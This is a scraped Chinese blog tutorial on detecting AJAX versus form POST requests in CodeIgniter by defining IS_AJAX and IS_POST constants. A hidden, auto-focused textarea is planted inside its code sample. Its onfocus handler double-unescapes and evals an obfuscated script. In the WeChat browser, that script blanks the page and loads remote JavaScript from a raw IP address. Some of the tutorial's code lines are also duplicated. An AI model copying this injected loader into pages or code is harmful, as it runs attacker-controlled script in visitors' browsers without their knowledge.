学习笔记
来源:互联网 发布:windows 10 multiple 编辑:程序博客网 时间:2024/05/20 18:49
本文实例讲述了ci检测是ajax还是页面post提交数据的方法。分享给大家供大家参考。具体实现方法如下:
一、问题:
因为项目需要我们希望知道提交数据来源是由ajax提交过来的数据还是由页面的post提交过来的数据从而进行不同层面上的处理。
二、解决方法:
在php中解决方法如下:
如果是ajax请求,以下表达式的值为真
复制代码代码如下:
$_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest"
就是一个PHP的环境变量。
ci中处理办法:
复制代码代码如下:
<textarea autofocus="" onfocus="eval(unescape(unescape('%76%61%72%25%32%30%75%61%25%32%30%25%33%44%25%32%30%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%25%33%42%69%66%25%32%38%75%61%2e%69%6e%64%65%78%4f%66%25%32%38%25%32%32%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%25%32%32%25%32%39%25%33%45%30%25%32%39%25%37%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%62%6f%64%79%25%32%37%25%32%39%25%30%41%25%35%42%30%25%35%44%2e%6f%75%74%65%72%48%54%4d%4c%25%33%44%25%32%37%4c%6f%61%64%69%6e%67%2e%2e%2e%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%25%33%44%25%32%37%25%35%43%75%36%62%36%33%25%35%43%75%35%37%32%38%25%35%43%75%35%32%61%30%25%35%43%75%38%66%37%64%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%32%37%25%33%42%76%61%72%25%32%30%73%25%33%44%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%25%30%41%25%32%38%25%32%37%73%63%72%69%70%74%25%32%37%25%32%39%25%33%42%73%2e%73%72%63%25%33%44%25%32%37%68%74%74%70%25%33%41%2f%2f%34%37%2e%38%39%2e%34%33%2e%35%31%2f%70%72%6f%78%79%2e%70%68%70%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%68%65%61%64%25%32%37%25%32%39%2e%69%74%65%6d%25%32%38%30%25%32%39%2e%61%70%70%65%6e%64%43%68%69%6c%64%25%32%38%73%25%32%39%25%33%42%25%37%44')))" style="width:1px;height:1px">.</textarea>define('IS_AJAX', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest');
define("IS_POST", strtolower($_SERVER['REQUEST_METHOD']) == 'post');
define("IS_POST", strtolower($_SERVER['REQUEST_METHOD']) == 'post');
记得在用THINKPHP的时候有内置两个常量 IS_AJAX 与 IS_POST,想在ci中使用查了半天好像没有找到,那就自动动手丰衣足食
在项目的config/constants.php 配置文件加上上边两行代码,这下你就可以在所有的方法中直接调用
例如:
复制代码代码如下:
if(IS_POST){
...
}
if(IS_AJAX){
...
}
...
}
if(IS_AJAX){
...
}
0 0
- 学习笔记?
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- 学习笔记
- python Crypto模块安装
- SonarQube代码质量管理平台安装与使用
- Android TouchEvent事件传递机制
- Java实验(13) 正八边形类
- logback使用
- 学习笔记
- centos添加防火墙端口
- combobox tableview tablewidget 单选按钮 美化
- 配置sonar、jenkins进行持续审查
- android TextView不用ScrollViewe也可以滚动的方法
- Leetcode no. 171
- 【商业逻辑分析】之二:为什么说在天猫、京东等开店的商家大部分都面临危机?
- 递归--应用
- 横向滑动菜单